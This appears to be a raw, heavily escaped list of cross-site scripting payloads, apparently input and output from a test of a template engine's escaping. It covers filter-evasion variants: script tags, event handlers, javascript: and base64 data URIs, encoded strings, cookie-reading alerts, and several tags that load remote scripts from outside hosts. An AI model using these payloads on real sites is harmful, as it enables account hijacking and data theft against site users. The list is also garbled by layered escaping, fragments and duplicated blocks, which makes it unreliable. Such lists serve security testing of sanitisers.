URL=http://;URL=(\\\'XSS\\\');\\\\\\\"\\r\\n<IFRAME SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<TABLE><TD BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url((\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url((\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"width: alert(\\\'XSS\\\'));\\\\\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\\\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<XSS STYLE=\\\\\\\"xss:alert(\\\'XSS\\\'))\\\\\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\\\\\"*//*\\\\\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\\\\\"XSS\\\\\\\"))\\\'>\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\nalert(\\\'XSS\\\');\\r\\n<![endif]-->\\r\\n<BASE HREF=\\\\\\\"(\\\'XSS\\\');//\\\\\\\">\\r\\n<OBJECT TYPE=\\\\\\\"text/x-scriptlet\\\\\\\" DATA=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=(\\\'XSS\\\')></OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\"><xss:xss>XSS</xss:xss></HTML>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\\\\\"javas]]><![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<XML ID=\\\\\\\"xss\\\\\\\"><I><B><IMG SRC=\\\\\\\"javas<!-- -->cript:alert(\\\'XSS\\\')\\\\\\\"></B></I></XML>\\r\\n<SPAN DATASRC=\\\\\\\"#xss\\\\\\\" DATAFLD=\\\\\\\"B\\\\\\\" DATAFORMATAS=\\\\\\\"HTML\\\\\\\"></SPAN>\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n<t:set attributeName=\\\\\\\"innerHTML\\\\\\\" to=\\\\\\\"XSS<SCRIPT DEFER>alert("XSS")\\\\\\\">\\r\\n</BODY></HTML>\\r\\n<SCRIPT SRC=\\\\\\\"http://ha.ckers.org/xss.jpg\\\\\\\">\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'<SCR\\\'\\\\\\\"--><!--#exec cmd=\\\\\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js>\\\'\\\\\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';\\r\\necho(\\\'IPT>alert(\\\\\\\"XSS\\\\\\\")\\\'); ?>\\r\\n<IMG SRC=\\\\\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\\\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\\\\\"Set-Cookie\\\\\\\" Content=\\\\\\\"USERID=alert(\\\'XSS\\\')\\\\\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\\\\\"CONTENT-TYPE\\\\\\\" CONTENT=\\\\\\\"text/html; charset=UTF-7\\\\\\\"> </HEAD>\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT =\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" \\\'\\\' SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT \\\\\\\"a=\\\'>\\\'\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=`>` SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=\\\\\\\">\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n(\\\\\\\"<SCRI\\\\\\\");PT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<A HREF=\\\\\\\"http://66.102.7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://1113982867/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0x42.0x0000066.0x7.0x93/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0102.0146.0007.00000223/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"htt p://6 6.000146.0x7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//www.google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://ha.ckers.org@google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google:ha.ckers.org\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com./\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"\\\'http://www.google.com/\\\'\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.gohttp://www.google.com/ogle.com/\\\\\\\">XSS</A>\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\<\\r\\n\\\<\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\"\\r\\n<SCRIPT SRC=//ha.ckers.org/.js>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\\r\\n<alert(\\\\\\\"XSS\\\\\\\");//<\\r\\n<SCRIPT/SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\\\\\"XSS\\\\\\\")>\\r\\n<SCRIPT/XSS SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<IMG SRC=\\\\\\\" (\\\'XSS\\\');\\\\\\\">\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG SRC=java\\\\0script:alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")>\\\\\\\";\\\' > out\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(String.fromCharCode(88,83,83))>\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\">alert(\\\\\\\"XSS\\\\\\\")\\\\\\\">\\r\\n<IMG SRC=`(\\\\\\\"RSnake says, \\\'XSS\\\'\\\\\\\")`>\\r\\n<IMG SRC=("XSS")>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\\\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG \\\"\\\"\\\">\\\">\\r\\n<IMG >\\r\\n\\r\\n\\r\\n<\\r\\n\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>\\r\\nscriptalert(XSS)/script\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<DIV url((\\\'XSS\\\'))\\\">\\r\\n<DIV >\\r\\n<DIV alert(\\\'XSS\\\'));\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG >\\>\\r\\nexp/*<A >\\r\\n<EMBED SRC=\\\"http://ha.ckers.org/xss.swf\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\na=\\\"get\\\";b=\\\"URL(ja\\\\\\\"\\\";c=\\\"vascr\\\";d=\\\"ipt:ale\\\";e=\\\"rt(\\\'XSS\\\');\\\\\\\")\\\";eval(a+b+c+d+e);\\r\\n\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>alert("XSS")\\\"></BODY></HTML>\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<form id=\\\"test\\\" /><button >TESTHTML5FORMACTION\\r\\n<form><button >crosssitespt\\r\\n<frameset >\\r\\n<!--<img ><img >\\r\\n<style><img ><img >\\r\\n<object data=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"(1)\\\">\\r\\n<? foo=\\\">\\\">\\r\\n<! foo=\\\">\\\">\\r\\n</ foo=\\\">\\\">\\r\\n\\r\\n\\r\\n\\r\\n{alert(1)};1\\r\\n\\r\\n<svg xmlns=\\\"#\\\"></svg>\\r\\n<svg xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"(1)\\\"></iframe>\\r\\n\\r\\n\\r\\n"><"\\r\\n"><"\\r\\n\\r\\n>\\r\\n>\\r\\n><\\r\\nfoo\\r\\n<scralert()\\r\\n"/><BODY src=http://my.box.com/xss.js>")>\\r\\n; alert(); var foo=\\r\\nfoo\\\\; alert();//;\\r\\n\\r\\n<img >\\>\\r\\n\\r\\n\\\">\\r\\n<video >\\r\\n<audio >
result with twig: {{ xss.xss | escape }}:
<script>alert(123);</script>\\r\\n<ScRipT>alert(\\\"XSS\\\");</ScRipT>\\r\\n<script>alert(123)</script>\\r\\n<script>alert(\\\"hellox worldss\\\");</script>\\r\\n<script>alert(XSS)</script> \\r\\n<script>alert(XSS);</script>\\r\\n<script>alert(XSS)</script>\\r\\n><script>alert(XSS)</script>\\r\\n<script>alert(/XSS)</script>\\r\\n<script>alert(/XSS/)</script>\\r\\n</script><script>alert(1)</script>\\r\\n; alert(1);\\r\\n)alert(1);//\\r\\n<ScRiPt>alert(1)</sCriPt>\\r\\n<IMG SRC=jAVasCrIPt:alert(XSS)>\\r\\n<IMG SRC=javascript:alert(XSS);>\\r\\n<IMG SRC=javascript:alert("XSS")>\\r\\n<IMG SRC=javascript:alert(XSS)> \\r\\n<img src=xss onerror=alert(1)>\\r\\n\\r\\n\\r\\n<iframe %00 src=\\\"	javascript:prompt(1)	\\\"%00>\\r\\n\\r\\n<svg><style>{font-family:\\\'<iframe/onload=confirm(1)>\\\'\\r\\n\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n\\r\\n<sVg><scRipt %00>alert(1) {Opera}\\r\\n\\r\\n<img/src=`%00` onerror=this.onerror=confirm(1)\\r\\n\\r\\n<form><isindex formaction=\\\"javascript:confirm(1)\\\"\\r\\n\\r\\n<img src=`%00`
 onerror=alert(1)
\\r\\n\\r\\n<script/	 src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' /	></script>\\r\\n\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n\\r\\n<iframe/src=\\\"data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n\\r\\n<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\\r\\n\\r\\n"><h1/onmouseover=\\\'\\\\u0061lert(1)\\\'>%00\\r\\n\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\')></script\\r\\n\\r\\n<svg><script x:href=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' {Opera}\\r\\n\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X\\r\\n\\r\\n</script><img/*%00/src=\\\"worksinchrome:prompt(1)\\\"/%00*/onerror=\\\'eval(src)\\\'>\\r\\n<img/	  src=`~` onerror=prompt(1)>\\r\\n<form><iframe 	  src=\\\"javascript:alert(1)\\\" 	;>\\r\\n\\r\\n<a href=\\\"data:application/x-x509-user-cert;
base64
,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"	 >X</a\\r\\n\\r\\nhttp://www.google<script .com>alert(document.location)</script\\r\\n\\r\\n<a href=[�]\\\"� onmouseover=prompt(1)//\\\">XYZ</a\\r\\n\\r\\n<img/src=@  onerror = prompt(\\\'1\\\')\\r\\n\\r\\n<style/onload=prompt(\\\'XSS\\\')\\r\\n\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n\\r\\n</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(\\r\\n\\r\\n�</form><input type=\\\"date\\\" onfocus=\\\"alert(1)\\\">\\r\\n\\r\\n<form><textarea onkeyup=\\\'\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(1)\\\'>\\r\\n\\r\\n<script /***/>/***/confirm(\\\'\\\\uFF41\\\\uFF4C\\\\uFF45\\\\uFF52\\\\uFF54\\\\u1455\\\\uFF11\\\\u1450\\\')/***/</script /***/\\r\\n\\r\\n<iframe srcdoc=\\\'<body onload=prompt(1)>\\\'>\\r\\n\\r\\n<a href=\\\"javascript:void(0)\\\" onmouseover=
javascript:alert(1)
>X</a>\\r\\n\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n\\r\\n<style/onload=<!--	> alert (1)>\\r\\n\\r\\n<///style///><span %2F onmousemove=\\\'alert(1)\\\'>SPAN\\r\\n\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' onmouseover=	prompt(1)\\r\\n\\r\\n"><svg><style>{-o-link-source:\\\'<body/onload=confirm(1)>\\\'\\r\\n\\r\\n <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n\\r\\n<marquee onstart=\\\'javascript:alert(1)\\\'>^__^\\r\\n\\r\\n<div/style=\\\"width:expression(confirm(1))\\\">X</div> {IE7}\\r\\n\\r\\n<iframe/%00/ src=javaSCRIPT:alert(1)\\r\\n\\r\\n//<form/action=javascript:alert(document.cookie)><input/type=\\\'submit\\\'>//\\r\\n\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/onload=prompt(1) /*iframe/src*/>\\r\\n\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n\\r\\n</font>/<svg><style>{src:\\\'<style/onload=this.onload=confirm(1)>\\\'</font>/</style>\\r\\n\\r\\n<a/href=\\\"javascript: javascript:prompt(1)\\\"><input type=\\\"X\\\">\\r\\n\\r\\n</plaintext\\\\></|\\\\><plaintext/onmouseover=prompt(1)\\r\\n\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n\\r\\n<a href=\\\"javascript:\\\\u0061le%72t(1)\\\"><button>\\r\\n\\r\\n<div onmouseover=\\\'alert(1)\\\'>DIV</div>\\r\\n\\r\\n<iframe style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\">\\r\\n\\r\\n<a href=\\\"jAvAsCrIpT:alert(1)\\\">X</a>\\r\\n\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<var onmouseover=\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n\\r\\n<a href=javascript:alert(document.cookie)>Click Here</a>\\r\\n\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n\\r\\n<%<!--\\\'%><script>alert(1);</script -->\\r\\n\\r\\n<script src=\\\"data:text/javascript,alert(1)\\\"></script>\\r\\n<iframe/src \\\\/\\\\/onload = prompt(1)\\r\\n\\r\\n<iframe/onreadystatechange=alert(1)\\r\\n\\r\\n<svg/onload=alert(1)\\r\\n\\r\\n<input value=<><iframe/src=javascript:confirm(1)\\r\\n\\r\\n<input type=\\\"text\\\" value=`` <div/onmouseover=\\\'alert(1)\\\'>X</div>\\r\\n\\r\\nhttp://www.<script>alert(1)</script .com\\r\\n\\r\\n<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															28
																1
																	%29></iframe>\\r\\n\\r\\n<svg><script ?>alert(1)\\r\\n\\r\\n<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>\\r\\n\\r\\n<img src=`xx:xx`onerror=alert(1)>\\r\\n\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;javascript:alert(1)\\\"/>\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs><script>MsgBox+1\\r\\n\\r\\n<a href=\\\"data:text/html;base64_,<svg/onload=\\\\u0061le%72t(1)>\\\">X</a\\r\\n\\r\\n<iframe/onreadystatechange=\\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(\\\'\\\\u0061\\\') worksinIE>\\r\\n\\r\\n<script>~\\\'\\\\u0061\\\' ; \\\\u0074\\\\u0068\\\\u0072\\\\u006F\\\\u0077 ~ \\\\u0074\\\\u0068\\\\u0069\\\\u0073. \\\\u0061\\\\u006C\\\\u0065\\\\u0072\\\\u0074(~\\\'\\\\u0061\\\')</script U+\\r\\n\\r\\n<script/src=\\\"data:text%2Fj\\\\u0061v\\\\u0061script,\\\\u0061lert(\\\'\\\\u0061\\\')\\\"></script a=\\\\u0061 & /=%2F\\r\\n<script/src=data:text/j\\\\u0061v\\\\u0061script,\\\\u0061%6C%65%72%74(/XSS/)></script\\r\\n\\r\\n<object data=javascript:\\\\u0061le%72t(1)>\\r\\n\\r\\n<script>+-+-1-+-+alert(1)</script>\\r\\n\\r\\n<body/onload=<!-->
alert(1)>\\r\\n\\r\\n<script itworksinallbrowsers>/*<script* */alert(1)</script\\r\\n\\r\\n<img src ?itworksonchrome?\\\\/onerror = alert(1)\\r\\n\\r\\n<svg><script>//
confirm(1);</script </svg>\\r\\n<svg><script onlypossibleinopera:-)> alert(1)\\r\\n\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n\\r\\n<script x> alert(1) </script 1=2\\r\\n\\r\\n<div/onmouseover=\\\'alert(1)\\\'> style=\\\"x:\\\">\\r\\n\\r\\n<--`<img/src=` onerror=alert(1)> --!>\\r\\n <script/src=data:text/javascript,alert(1)></script>\\r\\n\\r\\n<div style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" onmouseover=\\\"prompt(1)\\\" onclick=\\\"alert(1)\\\">x</button>\\r\\n\\r\\n\\\"><img src=x onerror=window.open(\\\'https://www.google.com/\\\');>\\r\\n\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n\\r\\n<math><a xlink:href=\\\"//jsfiddle.net/t846h/\\\">click\\r\\n\\r\\n<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n\\r\\n<a href=\\\"data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​\\\">Click Me</a>\\r\\n\\r\\n<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>\\r\\n;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<IMG ><SCRIPT>alert(XSS)</SCRIPT>>\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=jav ascript:alert(XSS);>\\r\\n<IMG SRC=jav	ascript:alert(XSS);>\\r\\n<<SCRIPT>alert(XSS);//<</SCRIPT>\\r\\n%253cscript%253ealert(1)%253c/script%253e\\r\\n><s%2bcript>alert(document.cookie)</script>\\r\\nfoo<script>alert(1)</script>\\r\\n<scr<script>ipt>alert(1)</scr</script>ipt>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<BODY BACKGROUND=javascript:alert(XSS)>\\r\\n<BODY ONLOAD=alert(XSS)>\\r\\n<INPUT TYPE=IMAGE SRC=javascript:alert(XSS);>\\r\\n<IMG SRC=javascript:alert(XSS)\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\njavascript:alert(\\\"hellox worldss\\\")\\r\\n<img src=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<img src=javascript:alert("XSS")>\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT 